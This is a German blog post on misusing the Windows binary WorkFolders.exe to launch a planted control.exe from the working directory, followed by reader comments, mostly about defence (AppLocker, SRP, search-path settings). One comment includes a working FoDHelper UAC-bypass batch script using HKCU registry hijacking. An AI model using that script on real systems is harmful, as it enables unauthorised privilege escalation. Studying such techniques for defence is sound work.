[English]Ich weiß nicht, ob wie breit das bekannt ist, aber die legitime Windows-Anwendung WorkFolders.exe lässt sich verwenden, um andere .exe-Programme im Windows-Ordner System32 oder im aktuellen Ordner zu starten. Dies ermöglicht Malware sogenannte LOLBin-Angriffe, bei der legitime Betriebssystemdateien zur Ausführung von Schadprogrammen missbraucht werden. WorkFolders.exe lässt sich quasi als RunDLL-Ersatz missbrauchen.
Anzeige
LOLBin, ein kurzer Einblick
Das Kürzel LOL steht für "living off the land", ein Begriff, der von den Malware-Forschern Christopher Campbell und Matt Greaber geprägt wurde, um die Verwendung von vertrauenswürdigen, vorinstallierten Systemtools zur Verbreitung von Malware zu erklären. Diese Cynet-Seite erklärt, dass es verschiedene Arten von LOL-Techniken gibt. Darunter befinden sich auch sogenannte LOLBins, die Windows-Binärdateien verwenden, um bösartige Aktivitäten zu verbergen. Bei LOLLibs werden Bibliotheken verwendet, und LOLScripts verwenden Skripte zur Ausführung von Malware. Kaspersky hat in diesem Artikel eine Liste der populärsten LOLBins aufgeführt. Und es gibt ein GitHub-Projekt, welches sich zum Ziel gesetzt hat, jede Binärdate, jede Bibliothek und jedes Script, dass für LOL-Techniken missbraucht werden kann, zu dokumentieren.
Was macht WorkFolders.exe?
In Windows wird eine ausführbare Programmdatei WorkFolders.exe im Unterordner System32 mitgeliefert. Es handelt sich um eine legitime Anwendung von Windows, und die .exe-Datei ist in nachfolgendem Screenshot im betreffenden Windows-Ordner zu sehen.
Ruft man diese Programmdatei auf, erscheint das Fenster Arbeitsordner zur Verwaltung dieser Arbeitsordner unter Windows (siehe folgender Screenshot). Der Text weist darauf hin, dass man im Dialogfeld die Arbeitsordner verwalten könne, um Arbeitsdateien auf allen verwendeten Geräten verfügbar zu machen, auch wenn man offline sei.
Anzeige
Microsoft erklärt hier, dass es sich bei "Work Folders" (so der englische Begriff) um ein Windows Server Rollendienst für Dateiserver sei, und dem Benutzer eine konsistente Möglichkeit bietet, auf Arbeitsdateien von PCs und Geräten aus zuzugreifen. Mit Work Folders sollen Benutzer ihre Arbeitsdateien nicht nur auf Firmen-PCs speichern und darauf zugreifen können, sondern auch auf privaten Computern und Geräten, die oft als Bring-your-own-Device (BYOD) bezeichnet werden.
Die Benutzer sollen einen bequemen Speicherort für Arbeitsdateien erhalten und können von überall aus auf diese Dateien zugreifen. Unternehmen nutzen Work Folders, um die Kontrolle über Unternehmensdaten zu behalten. Sie können Dateien auf zentral verwalteten Dateiservern speichern und Richtlinien für Benutzergeräte wie Verschlüsselung und Kennwörter für die Bildschirmsperre festlegen. Verfügbar sei der Dienst unter Windows 11, Windows 10, Windows Server 2022, Windows Server 2019 und Windows Server 2016.
LOLBin mit WorkFolders.exe
Vor einigen Stunden bin ich dann auf nachfolgenden Tweet gestoßen, der mich recht nachdenklich zurück ließ. Elliot zeigt, wie sich die Programmdatei WorkFolders.exe missbrauchen lässt, um weitere Programmdateien aufzurufen.
In seinem Testszenario kopiert er die calc.exe als control.exe aus dem Windows-Ordner System32 in einen lokalen Ordner und ruft danach WorkFolders.exe auf. Die Animation zeigt dann, dass sich statt des Dialogfelds Arbeitsordner verwalten der Windows-Rechner öffnet. Der Trick besteht darin, die betreffende "Zieldaten" einfach in control.exe umzubenennen.
Ich habe dann mal einen eigenen Test gefahren und statt den Windows-Ordner Shell32 als Ziel zu verwenden, die Datei calc.exe unter meinem Benutzerkonto im Profilordner Downloads/Test als Kopie unter dem Namen control.exe abgelegt.
Dann habe ich in einer PowerShell-Console den Befehl workfolders.exe eingegeben. Der Windows-Rechner wurde ebenfalls aufgerufen (denn die Suche nach der .exe erfolgt über den voreingestellten Pfad aus dem obigen Profilordner bis zu den Windows-Ordnern) – mit dem Programm notepad.exe hat mein Kurztest nicht funktioniert.
Im Anschluss habe ich mit mit accessschk.exe aus den Sysinternals-Tools die Berechtigungen des betreffenden Prozesses von calc.exe angesehen. Wenn ich nicht ganz falsch interpretiere, erfordert eine Erhöhung der Rechte immer noch die Zustimmung über die Benutzerkontensteuerung. Aber der Sachverhalt ermöglicht eventuell durch Verkettung weiterer Anwendungen den Start von Malware, ohne dass Sicherheitssoftware das ggf. nicht mitbekommen – weil sie workfolders.exe vertrauen.
Ähnliche Artikel:
Windows 10-Administration: Fehlentwicklung in Sachen Sicherheit?
Windows 10/11 FoDHelper UAC-Bypassing-Test und Fremdvirenscanner
Windows10: Neue UAC-Bypassing-Methode (fodhelper.exe)
Windows 10: Schwachstelle .SettingContent-ms
Windows UAC über SilentCleanup ausgehebelt
Erebus Ransomware und die ausgetrickste UAC
Anzeige
Wenn ich in system32 Dateien/namen ändern darf,
habe ich sowieso schon Admin Rechte.
Im Gegensatz zur Unix Welt ist es in Windows geschickterweise nicht vorgesehen, dass man "von unten heraus" seine Privilegien erhöhen darf, nachdem ein Programm gestartet wurde, auch wenn man es vor dem Start gedurft hätte (Runas).
Natürlich gibt's Expoits für "make me admin".
Die bekannten sollten inzwischen gefixt sein, und die andere sind beim NSA und BSI sicher verwahrt.
("sicher" hat hier 3 Bedeutungen..).
An der UAC sollte nicht gedreht werden,da es zu leicht vergessen wird zurückzustellen.
Ich habe das Problem "gelöst" in dem der Windows File Explorer in einer erhöhten Ebene lief, was Microsoft einem nicht leicht macht, klar. Aber man kann ihn so starten. Oder halt den File Manager eines Drittherstellers genommen hat (Totalcommander oder so,egal) oder per .lnk einen cmd.exe mit höheren Rechten gestartet hat.
Mit WorkFolders.exe wäre das evtl. einfacher gewesen, aber es war Krieg und wir hatten nur Windows 7.
Die auszuführende Zieldatei muss im aktuellen Arbeitsverzeichnis liegen, aus dem man workfolders.exe ausführt. Das hat nichts mit %windird%\system32 zu tun. Steht zumindest a) im Tweet (working directory) und b) im Artikel (lokaler Ordner) so.
Die Workfolders.exe und die Dateien, die zur Demo verwenden werden kommen zufällig aus System32, da muss aber nichts dran geändert werden.
Insofern ist das schon recht bedenklich.
Ja, das ist das Problem, das nahezu alle Privatanwender mit Adminrechten unterwegs sind und nicht einen zweiten Account mit beschränkten Rechten anlegen und nur damit arbeiten.
Das mit dem 2 Accounts ist keine Lösung die unter Windows funktioniert.
man kann als Admin nicht mal mehr auf die shares des User.
Unschön ist es auch wenn schlechte Installer Dateien mit Admin Rechten anlegen an die der User später nicht mehr Ran kommt.
Selbst professionellen Admins ist nicht klar, das ein lokaler Admin nicht auf das Netzwerk kann.
Das hat Mikrosoft nicht aus Sicherheitsgründen gemacht, sondern um zu verhindern, das ein PC , eine Linzenz, von mehreren Leuten gleichzeitig benutzt werden kann, außer lokal
Wie man Geld macht weiß MS.
Wenn's da eine weg außer UAC gibt, her damit.
Und klar dass der User Zuhause das UAC so einstellt, dass er nicht ständig mit der Sicherheits Console genervt wird.
in der Unix Welt sollte man sich gar nicht als root anmelden können. Sondern man holt sich die rechte mit einem "su" vor jedem Befehl, der root rechte braucht.
Diese Elevation geht aber bei Windows nicht.
Irgendwas ist immer.
Nur als Ergänzung: Ab Windows 10 zwingt Microsoft die Leute geradezu in Konten der Gruppe der Administratoren. Durch die unsägliche "Web-GUI" der Einstellungen-Seite sind nämlich keine Befehle mehr absetzbar, die eine UAC-Bestätigung benötigen. Daher fehlen die betreffenden Einträge in der Einstellungen-Seite, wenn man nicht als Administrator angemeldet ist.
Ausweg ist, zu schauen, ob man mit der alten Systemsteuerung (oder der Computerverwaltung) weiter kommt. Das macht aber so gut wie niemand im Privatanwenderbereich – und ich tippe auch darauf, kaum jemand von den Administratoren im Business-Umfeld. Mag mich bei letzterem aber täuschen.
Hatte das vor vielen Jahren mal im Blog thematisiert (Windows 10-Administration: Fehlentwicklung in Sachen Sicherheit?) – wurde aber allgemein nicht als Problem, bzw. von Born aufgebauscht gesehen. Gut, ich kann damit leben.
Als ich ca. 2018 zu Hause von XP auf Win 10 umgestiegen bin, habe ich den Schritt zu Benutzer-Konten gemacht.
Am Anfang war es exorbitant mühsam, bis alles eingestellt war.
Nachher muss man praktisch nichts mehr verändern.
Wenn Sie einen Weg mit UAC kennen kann man per Batch die UAC umgehen:
REM set parameters to be used by FoDHelper
REG.exe ADD HKEY_CURRENT_USER\\Software\\Classes\\qUACkery\\Shell\\Open\\Command /F /VE /T REG_SZ /D "***************"
REG.exe ADD HKEY_CURRENT_USER\\Software\\Classes\\MS-Settings\\CurVer /F /VE /T REG_SZ /D "qUACkery"
REM call FoDHelper
FoDHelper.exe
REM wait ~2s so we don't delete data befor FoDHelper reads it
ping -n 3 localhost
REM clean up
REG.exe DELETE HKEY_CURRENT_USER\\Software\\Classes\\MS-Settings\\CurVer /F
REG.exe DELETE HKEY_CURRENT_USER\\Software\\Classes\\qUACkery /F
*************** == Programm/Kommando, dass ohne UAC ausgeführt werden soll
Wenn Leerzeichen im Aufruf sind müssen sie in Gänsefüsschen und escaped werden
REG.exe ADD HKEY_CURRENT_USER\\Software\\Classes\\qUACkery\\Shell\\Open\\Command /F /VE /T REG_SZ /D "\\"*************** " \\"#####1\\" \\"#####2\\""
#####1 == Parameter1
#####2 == Parameter2
Wenn Ihnen oben jeweils "\\" angezeigt wird ersetzen sie es bitte mit "\".
Die Darstellung wechselt bei im im Browser hin und her, deswegen habe ich lieber "\\" gewählt.
"Im Gegensatz zur Unix Welt ist es in Windows geschickterweise nicht vorgesehen, dass man "von unten heraus" seine Privilegien erhöhen darf, nachdem ein Programm gestartet wurde, auch wenn man es vor dem Start gedurft hätte (Runas)."
Erklärst Du mir, wie das unter Unix geht, dass ein Programm, nachdem es gestartet wurde, seine Privilegien erhöht bekommt? Gelingt mir hier irgendwie nicht.
"es [ist] in Windows geschickterweise nicht vorgesehen, dass man "von unten heraus" seine Privilegien erhöhen darf, nachdem ein Programm gestartet wurde, …"
AUTSCH: solchen blühenden Blödsinn schreiben nur völlig ahnungslose Windows-Missbraucher!
Selbstverständlich ist es unter Windows möglich, im eigenen Prozess bzw. Thread nachträglich Privilegien zu aktivieren, und falls das die Privilegien "Debug" oder "Impersonate" sind, dann die Identitäten beliebiger anderer Benutzer anzunehmen.
https://skanthak.homepage.t-online.de/tidbits.html#sysiphos bzw. https://skanthak.homepage.t-online.de/quirks.html#quirk44 ff. zeigt das an EINEM Beispiel.
Das geht.
Achso, es kann sein, das das Programm das S Attribut gesetzt haben muß, das seine permissions ändern muss.
Oder die haben das inzwischen gefixt?
Es war früher ja auch "Default" das man sich als root anmeldete und dann den ganzen Tag root blieb. Heute fragt der Installateur nach einem Haupt User namen.
Und wenn man MacOS nimmt, da gibt's keinen root mehr, ebenso wie bei Android. Hacken kann man sich den.
Hier geht's aber das Problem unter Windows.
Da geht's m.W. nicht ohne Sicherheitsonsole UAC.
workfolders wird sicher auch nur mit Wasser kochen und einen simplen Spawn Aufruf ins System machen.
Und der landet dann erstmal mit Sicherheit bei der AV Lösung
Und wie gesagt, wenn Microsoft eines richtig gemacht hat, dann den Punkt im Rechte Managerment:
Runter geht's immer, rauf nimmer.
Ich habe aber vermutlich irgendwas nicht verstanden, warum das so gefährlich sein soll..
Wenn ich in Systeme32 meine Control.exe ablehnen darf habe ich doch sowieso schon genügend Rechte.
Ganz abgesehen davon ist in dem Bereich eh alles schon seit Vista virtualisert. Man musste ja mit den alten Anwendungen kompatibel bleiben, wenn die eine gewisse Dateistruktur erwarteten. Die meisten dieser inkompatiblen Produkte kamen von einer Firma, en,ja, ich glaube die hießen Microsoft.
Es gibt da ja einen netten Trick um sich anzumelden, so ganz ohne Passwort durch umbenennen einer exe. Geht aber nur, wenn die Festplatte im Klartext vorliegt… also nie verschlüsselt wurde..
Was ist denn das für ein Artikel?
Soll das ein Scherz sein?
Powershell das gefährlichste Tool?
Und cmd.exe ist das etwa ungefährlich?
Da kommt auch ein schwarzes Fenster.
Und da muß man auch wissen, welche Buchstaben man eintippen muss und kann nicht einfach so lange die bunten Knöpfe drücken bis etwas passiert.
Was den Artikel vollständig sofort als
Marketing Müll klassifiziert ist so etwas:
"PowerShell an einem von fünf Angriffen beteiligt (20,3 %, um genau zu sein)."
Ich vermute Mal das cmd.exe zu 99,997431% bei allen "fünf Angriffen" "beteiligt" war.
Vermutlich haben die Angreifer das aber total toll getarnt?
Bei so etwas mit Zehntel Prozentwerten?
Geht's noch?
Alles gesund Zuhause bei Kasperli&Co?
Ein Lächerlich machen der Quelle sollte das ja wohl nicht sein?
Bitte solche Artikel nicht zur Nacht.
Das ist nicht gut für meine Schlafhygiene, Günter.
:-)
Dann lies schlicht zur Nacht nicht solche Artikel und auch ggf. das Kommentieren verkneifen ;-). Die drei Kommentare versteht nur, wer um einige Ecke und im Kontext einzelner Aussagen des Artikels denkt …
Ich musste beim letzten Kommentar schon etwas überlegen, was gemeint sein könnte.
BTW: Erinnerungsmäßig ist der Beitrag gestern Nachmittag entstanden – und ich halte die verlinkten Beiträge weiterhin für Leser, die sich mit der Thematik auseinandersetzen möchten, für interessant.
ja habe ich auch schon notiert.
:-)
Servus Pau1,
ich möchte ein paar Dinge korrigieren, bei denen du falsch liegst.
a) für den Workfolders Angriff benötigt es keinerlei Adminrechte. Die vermeintliche "control.exe" muss nur in einem Schreibbaren Ordner für den Benutzer liegen. Wird aus diesem Order die C:\Windows\System32\Workfolders.exe aufgerufen, wird die in diesem Ordner liegende Control.exe der Echten bevorzugt, aufgrund des näher liegenden Pfads.
Das ist schon seit "immer" so, das DLL/EXE im eigenen Ordner zuerst gestartet werden.
b) Powershell ist was völlig anderes als die CMD.exe aus Sicherheitssicht.
Such mal: "fileless malware integration powershell", "privilege escalation powershell" oder "Fileless Threats powershell".
Die Powershell ist ein Admin/Entwicklerwerkzeug mit wesentlich mehr Möglichkeiten, inkl. des Nachladens von Software, was der CMD und einem Script wesentlich schwerer fällt.
"Das ist schon seit "immer" so, das DLL/EXE im eigenen Ordner zuerst gestartet werden."
AUTSCH: das gilt dummerweise seit über 20 Jahren NICHT (mehr) für DLLs — damals wurde das CWD von erster Stelle im DLL-Suchpfad an die fünfte Stelle verschoben, hinter Anwendungsverzeichnis und alle Systemverzeichnisse (siehe https://msdn.microsoft.com/en-us/library/ms682586.aspx und https://msdn.microsoft.com/en-us/library/ff919712.aspx)!
Zudem kann das Arbeitsverzeichnis seit über 12 Jahren per CWDIllegalInDllSearch (siehe https://web.archive.org/web/20161219154536/https://support.microsoft.com/en-us/kb/2264107 ganz aus dem DLL-Suchpfad entfernt werden.
Siehe auch https://skanthak.homepage.t-online.de/!execute.html
… wenn es so wäre, was seit 20 Jahren vorgabe ist, würde der Angriff nicht funktionieren ;-)
also scheint es immer noch so zu sein, auch, wenn es falsch ist.
Man kann es umgehen und kaputt machen
Lies noch mal GAAANZ aufmerksam, was ich schrob: Deine Aussage ist für Programme, d.h. für per CreateProcess*() geladene "Portable Executables" korrekt, aber FALSCH für DLLs, d.h. für per LoadLibrary*() geladene "Portable Executables".
Der Blogbeitrag ist leider an der Stelle mit der Control.exe falsch. Die wird nicht in system32 erstellt, sondern calc wird irgendwohin(also braucht.man keine adminberwchtigung) kopiert und umbenannt. Dann kann man in z.B. cmd in diesen Ordner mit der control.exe navigieren und workfolders.exe starten, dabei wird dann die control.exe aus dem.lokalen.Ordner gestartet.
Ich habe es präzisiert – deine Ausführung bezieht sich auf den Test von Elliot, wo ich das Problem habe, dass sein GIF zu klein ist, um sauber erkannt und nachvollzogen zu werden. Aus meinem Test & Text geht hervor, dass ich jeden Ordner nehmen kann, weil die Suche aus dem aktuellen Ordner auf die Windows-Ordner ausgedehnt wird.
Das ist ein Twitter-Problem; Nitter regelt:
(via
Das das mit notepad.exe nicht klappt könnte evtl. daran liegen, dass es seine Dlls nur im default Pfad erwartet?
Ja, aber woher sollen dann die Admin Rechte kommen?
Es ist ja normal, das System-exe in system32 stehen und von fast jedem aufgerufen werden können.
Es kann aber nur mit den Rechten gearbeitet werden, die der User hat.
Ich verstehe einfach nicht wo das Risiko sein soll.
Theoretisch kann ich dem User ein Calc.exe unterschrieben wenn er workfolders.exe startet.
Wie bekomme ich den User in das Verzeichnis?
Warum sollte er workfolders.exe starten?
Was habe ich als Angreifer gewonnen?
(Wenn denn Admin Rechte mein Ziel wäre.)
Interessant wäre die Frage vielleicht die Frage, in welchem Rechte-Kontext workfolders.exe das control.exe auf dem Default Pfad aufruft.
Danke für den Hinweis, gleich mal c:\windows\system32\workfolders.exe per Applocker gesperrt. Fertig der Lack. Da verlasse ich mich nicht auf andere Schutzsoftware, auch wenn die den Trick wahrscheinlich bald per EDR/XDR auch abfangen.
Servus,
das Sperren der workfolders.exe war unnötig.
a) Entferne das Windows Feature "Arbeitsordnerclient", wenn du kein "OneDrive OnPrem" möchtest. Dann gibt es die worksfolders.exe garnicht erst.
b) Eine durch Applocker gesperrte Anwendung kann durch die Workfolders.exe nicht gestartet werden (gerade durchgespielt)
c) die gestartete control.exe, in meinem Fall eine renamed/copied cmd.exe, zeig meinen User per whoami
Mit aktiven "Richtlinien für Softwareeinschränkung" (SRP) bringt das keinen Taschenrechner, sondern nur folgenden Eintrag im Eventlog:
Ereignis 865, SoftwareRestrictionPolicies: Der Zugriff auf "C:\Users\Damiel\control.exe" wurde vom Administrator durch die Standardrichtlinienstufe für Softwareeinschränkungen eingeschränkt.
Super – da hat jemand reagiert. Magst Du hier als Kommentar skizzieren, wie Du genau vorgegangen bist und welche SRP Du gezogen hast?
Interessant wäre, ob andere .exe-Dateien im Nutzerprofil noch ausführbar sind – denn das ist ja der Mist, der den Leuten durch MS Teams & Co. teilweise auf das System genudelt wird.
Nicht gefragt, aber nachdem ich damit auch schon ein paar Jahre arbeite:
Für unsere verbliebenen Windowsclients habe ich die Ausführung im Userordner grundsätzlich verboten und dann pro Anwendung die es wirklich benötigt wieder erlaubt.
Hat für so gut wie alle funktioniert, nur GoToMeeting oder wie die Seuche heisst will bei jedem Start eine neue exe droppen. Gib es jetzt halt nicht mehr, man muss ja nicht über jeden Stock springen der einem hingehalten wird.
Erlaube die "Seuche" per Herausgeberregel. Dann ist dir die Version egal.
AUTSCH: dann können Angreifer vom jeweiligen Herausgeber signierte, bekannte Sicherheitslücken oder Schwachstellen aufweisende Anwendungen und DLLs mitbringen und ausführen!
Ich habe hierfür nichts neues konfiguriert. Auf meinen Domänenclients gilt schon lange: EXEs & Co. ausführen ist nur aus Verzeichnissen erlaubt, die nicht Benutzer-beschreibbar sind.
Ja, ab und zu taucht nicht systemkonforme Software auf, für die man eine Extrawurst braten muss. Aber auch Teams ist bei mir unter "C:\Program Files (x86)\Microsoft\Teams\current\Teams.exe" installiert.
Habe ich was überlesen, oder wo ist jetzt genau das Problem?
Solange die über Workfolder.exe ausgeführte control.exe, bzw. was auch immer sich hinter control.exe befindet, nicht mit erhöhten Rechten ausgeführt wird haben wird doch kein Problem.
Oder kann ich damit eine CMD Fenster oder eine Powershell Session mit erhöhten Rechten erhalten? Wenn diese Programme weiter nur mit den Rechten des normalen Benutzers laufen gibt es hier doch keine Baustelle.
Du, und viele andere Leser denken schlicht zu kurz. Erster Einwurf weiter oben war "sobald man Zugriff auf System32 hat, ist eh alles zu spät" – übersah aber, dass es auch in lokalen Ordnern funktioniert. Und es gibt immer wieder die Fälle, wo Windows-Images allgemeine Schreibberechtigungen auf Systemordner enthalten – weiß ad-hoc nicht, ob ich den Bug im Blog thematisiert habe.
Dann gibt es die Thematik "UAC Bypassing" wo ich bestimmte Techniken nutzen kann, um eine Elevation ohne UAC-Abfrage anstoßen kann. Es mag sein, dass dies im Kontext des obigen Artikel mit bekannten .exe-Dateien nicht funktioniert. Wer sich aber mit der Thematik befasst, behält das im Hinterkopf.
Aber hey, ich brauche ja nur die Punkte aufzuzeigen und mir glücklicherweise keine Gedanken um die Absicherung fremder Systeme zu machen. Ich werfe einen Ball ins Spielfeld, aufgreifen müssen das dann schon die Spieler. ;-)
Für wahr.
Das mit den Rechten unter Windows ist ein Problem.
Es gibt zwar "sfc" mit dem man ganz toll kaputte system DLL reparieren kann, wie auch immer diese kaputt gegangen sein können, aber womit prüft man, ganz einfach, ob die Rechte noch so sind wie sie lt. MS sein sollten? Denn das system32 ohne Admin Rechte beschrieben werden kann kommt tatsächlich schon vor.
Und keiner war es(der lokal Admin hat eine lokale Verzeichnis Kopie als Backup gemacht und dann per Umbenennen ausgetauscht. wie auch immer er das könnte(Linux gebootet?)
In d:\windows gibt es immer einzelne Verzeichnisse, die vom Benutzer beschreibbar sind. Auf Schneeganz.de und bei S.Kanthak gibs Scripte, um diese Verzeichnisse zu finden. Die muss man dann als Ausnahme in die Freigabe von c:\windows in Applocker oder SRP eintragen und dann ist Ruhe. Privat kann man das auch mit dem aktuellen Restric'tor machen (der findet auch diese Verteichnisse), in der Firma macht man das besser zentral per Gruppenrichtlinie.
Erstmal alles gute zum 30. Jubiläum als Autor! Hatte ich verschwitzt.
Hab mir das mal in groß angesehen:
Video auf Twitter zum Problem
Diesen Twitter-Kram kann man in dem Mini-Viewport ja nicht mehr ertragen als alter Mann (ich).
Überrascht das WorkFolders direkt einfach die erste beliebige exe im PoC-Ordner startet ohne, dass ich ihr sage welche. War nur eine da, aber was isst wenn mehere EXE-Files da sind?
Das müsste das Video mal zeigen.
Ist das jetzt gefährlich? Ja und nein. Wenn eine signierte Windows-Datei andere Prozesse startet müsste man im Process-Explorer o.Ä. erstmal sehen wie diese Aufruf geschieht. Schließe mich meinem Vorredner an, dass so manches AntiViren-Programm sich davon nicht in die Pfanne hauen lassen wird.
Im Endeffekt ist es egal, gibt immer Methoden einer AV zu entkommen. Die ganzen DanderSpritz, DoublePulsar, etc implantate der NSA wurden ja gegen alle gängigen AV getestet:
https://en.wikipedia.org/wiki/The_Shadow_Brokers?useskin=vector
https://en.wikipedia.org/wiki/DoublePulsar?useskin=vector
Virenschutz == E-Mailschutz, ich verweise hierauf:
https://securelist.com/the-duqu-saga-continues-enter-mr-b-jason-and-tvs-dexter/31442/
Oft reicht eine Schriftart in einem Word-Dokument aus. Da waren nichtmal böse "Makros" drinnen.
Manchmal ist das beste einfach alles über einen Linuxrechner zu laden und zu inspizieren. Eventuell kann man Viren auch bereinigen in dem man einfach ein Dokument neu konvertiert in ein anderes Format ohne eingebettete Schriftarten.
Ich schweife bereits ab. Wo fängt Virenschutz an? Wer will WorkFolders.exe starten, wenn nicht ich? Wer die letzten beiden Fragen versteht, der kann ein Bedrohungs-Modell für seinen eigenen Alltag erstellen. Bin ich die Schwachstelle oder mein Umgang mit unbekannten Dateien?
Hier liegt die Antwort.
Früher gab es mal den Vorschlag dass das Surfen auf einer Unix Kiste zu erfolgen hat.
Jeder User der sich anmeldet bekommt ein Frisches System.
Er hat nur eine x-window Session auf der Box.
Ein paar hundert Sessions sollen möglich sein, hieß es.
Sollte er sich da etwas einfangen bleibt es in seiner Session und wenn nicht, bleibt es in der DMZ und nach einem neuen Anmelden ist wieder alles klar.
Damit könnte er tel. ungeniert surfen.
Vermutlich sogar ohne AV Software.
Seine Downloads laden auf der Box.
Von da muss er sie selbst holen oder einen Antrag stellen.
Ist natürlich heute völlig unverträglich mit dem Microsoft Geschäfts-Modell geworden.
Outlook lässt sich so kaum abschieben, schon aus Lizenz gründen nicht.
Und Cloud ginge auch nicht.
Pau1 du bist da an was dran. Würde wirklich reichen, wenn man über ThinClient in eine VM die sich nichts merken kann morgens lädt.
1. VM ist Linux + Mailclient
2. VM Windows + Firmen-Intranet
Über ein persönliches Share können Linux und Windows die Daten tauschen. Gescannt wird vorher unter Linux.
Meistens ist es ja so das Dateien immer von außen kommen. Woher auch sonst? Chef will eine Datei? Die liegt im Öffentlichen Share im Intranet.
Wie oft kam der Virus einfach nur aus Human Resources mit der Bewerbungsmappe eines suspekten Kandidaten, mit ungewöhnlich guten Noten und Profil?
Ich sehe immer noch nicht wo das Problem sein soll, ob ich die cmd.exe im Ordner System32 oder und unter c:\users\\Test öffnen (sofern das geht) ändert doch nichts daran das ich mit dieser Datei nicht mehr machen kann als meine Benutzerechte zulassen.
Problematisch wird es nur wenn die cmd.exe so mit höheren Rechten als den ursprünglichen Benutzerrechte ausgeführt wird. Wenn das dann über bestimmte Ordner möglich sein sollte, sind aber eher die Ordner das Problem.
Dann lies dir schlicht meine am Artikelende verlinkten Bypassing Artikel durch. Wenn es dann immer noch nicht zündet und Du auch das von Kanthak verlinkte nicht als Problem ansiehst, werfe ich an der Stelle schlicht das Handtuch …
Zum Nach^WWeiterdenken: stellt euch vor, das Arbeitsverzeichnis sei \\‹server›\‹freigabe› — dann artet dieser blutige ANFÄNGER-Fehler zur "remote code execution" aus.
Alternativ: nehmt Microsofts eigene Ankündigung https://msrc-blog.microsoft.com/2018/04/04/triaging-a-dll-planting-vulnerability/ zum Stopfen von CWE-427 bzw. CAPEC-471 und ersetzt darin DLL durch EXE; lest dann den Abschnitt "Current Working Directory (CWD) EXE planting" und fragt, welchen Unterschied es zwischen "Ausführen einer DLL aus dem Arbeitsverzeichnis" und "Ausführen einer EXE aus dem Arbeitsverzeichnis" gibt!
Warum muss es denn die nicht so schlimme cmd.exe oder clock.exe sein? Warum nicht die per Email angelieferte control.exe, die die Funktion boeser_virus beinhaltet?
Ja. Warum sollte ein User workfolders.exe aufrufen?
Wenn Du einen User der Admin Rechte hat dazu bringst in dem Verzeichnis in dem das böse control.exe liegt UND workfolders.exe das control.exe mit den Rechten dieses Users startet, dann könnte das etwas bringen.
Das das calc.exe Admin Rechte bekommt habe ich nicht gelesen.
Da müsste man etwas nehmen, das Admin Rechte braucht. Z.B. der "net" Befehl braucht sie bei bestimmten Anfragen.
Ansonsten biete Windows ja die Möglichkeit, nur geprüfte exe zu starten um genau so ein unterschrieben von Programmennuu vermeiden.
Darum ist bei Unix der Default Pfad nicht in der Pfadsuchliste enthalten.
wer mag schreib ein Unix helloWorld-Programm "test.c" und packe es in das Home eines Users und root und wundere sich, was passiert. (tut mir leid das nicht unixer wieder nicht folgen können.)
Das nützt natürlich alles nix, wenn man Powershell alles ausführen lässt was auf .PS endet..
Aber ist das das Problem hier?
Persönlich staune ich, wie viele Leute aktuell hier in den Kommentaren krampfhaft "das ist doch alles kein Problem" konstruieren wollen. Es mag alles sein – aus Sicherheitsaspekten wäre es aber gut, wenn der oben skizzierte Ansatz per OS erst gar nicht funktioniert.
Admins können mit SRP schon absichern – Daniel hat es in einem Kommentar angerissen.
Zu "Da müsste man etwas nehmen, das Admin Rechte braucht. Z.B. der "net" Befehl braucht sie bei bestimmten Anfragen.": Ich habe mir jetzt kurz die Mühe gemacht, einige Blog-Beiträge zur Thematik, warum das doch eine Problem ist, am Artikelende verlinkt. Einfach mal den Beitrag zur Erebus-Ransomware lesen. Das sind alles "Fragmente", die bei mir im Hinterkopf herumschwirren, und weshalb ich solche Beiträge hier im Blog einstelle. Es mag in vielen Fällen so sein, dass man doch keine Admin-Rechte bekommt. Aber es reicht ein cleverer Weg, der ausgenutzt werden kann.
"Da müsste man etwas nehmen, das Admin Rechte braucht. Z.B. der "net" Befehl braucht sie bei bestimmten Anfragen."
1. NET.exe enthält KEIN (eingebettetes) UAC-Manifest, durch das es beim Aufruf per ShellExecute() oder ShellExecuteEx() erhöhte Rechte per UAC-Prompt anfordert.
2. Workfolders.exe ruft control.exe per CreateProcess*() auf, das NIEMALS einen UAC-Prompt auslöst, sondern bei einem (eingebetteten) UAC-Manifest den Win32-Fehlercode 740 alias ERROR_ELEVATION_REQUIRED zurückgibt, d.h. UAC-Bypass ist hier NICHT möglich!
> Warum sollte ein User workfolders.exe aufrufen?
das macht der User, weil ich als Admin die Workfolders für die Ordner Umleitung nutze, anstelle der SMB Offline Sync. Workfolders haben einige Vorteile gegenüber der klassischen Umleitung der User Dokumente in einem UNC Pfad
Damit haben wir dss Grundübel
aller Sicherheitsprobleme gefunden und damit die Lösung, an der ja einige Admins arbeiten:
Der User muß weg!
Du hast es verstanden. Das tatsächliche Problem ist nach wie vor Layer 8.
Die Rechteverwaltung von Windows ist mir "Wuppe" ich boote mit Linux und veränderte den Client als "Supermann" mit GOD-Rechten. Haha!
Nur bei Sorglosen.
Die Anderen haben die Festplatte verschlüsselt.
"Workfolders.exe" startet "control.exe" (genauer: ".\control.exe"), weil die VOLLIDIOTEN, die ersteres verbrochen haben, letzteres NICHT mit seinem vollqualifizierten Pfadnamen starten, obwohl M$FT genau das seit über 20 Jahren den eigenen, ahnungslosen Kleinkindern, die seit einigen Jahren an Windows herumfrickeln, immer wieder vorbetet — leider vergeblich, wie https://skanthak.homepage.t-online.de/sloppy.html zeigt.
Der Start von .\control.exe ist ein gaaaanz typischer Fall von https://cwe.mitre.org/data/definitions/426.html und https://capec.mitre.org/data/definitions/471.html alias "Search Order Hijacking".
ABHILFE: Setzen der Umgebungsvariablen NoDefaultCurrentDirectoryInExePath entfernt das Arbeitsverzeichnis aus dem Suchpfad.
VIEL besser ist jedoch, das Ausführen von Dateien in allen Verzeichnissen, in denen Benutzer schreiben dürfen, zu unterbinden: siehe https://skanthak.homepage.t-online.de/SAFER.html
https://skanthak.homepage.t-online.de/SAFER.html
klingt gut…solange es nicht mit der Gattung "Entwickler" zu tun hast. Aber das Problem wird Bard lösen.
Es programmiert dann der Kunde selbst im dem er Bard sagt, was er braucht. Das Testen macht der Kunde ja eh schon.
Interessanter, lustiger Artikel, leider mit einigen fehlerhaften Aussagen, aber was solls.
Es ist nur eine weitere gravierende Sicherheitslücke in Windows.
Admin und gar System Rechte kann man ziemlich leicht bekommen, wenn man es nicht verstanden hat powershell, cmd, wget, curl, vbs, etc. für normalen Benutzer Konto zu verbieten.
Ohne Bitlocker hat man bei physischem Zugriff eh verloren. Mit Bitlocker evtl. ein langsames Windows oder Datenverlust. Alles doof.
SSDs mit SED-Funktion sind ein guter erster Schritt, wenn man nicht so dumm/bequem ist, sie per Bitlocker-UI einzubinden, sondern z.B. per SEDutil.
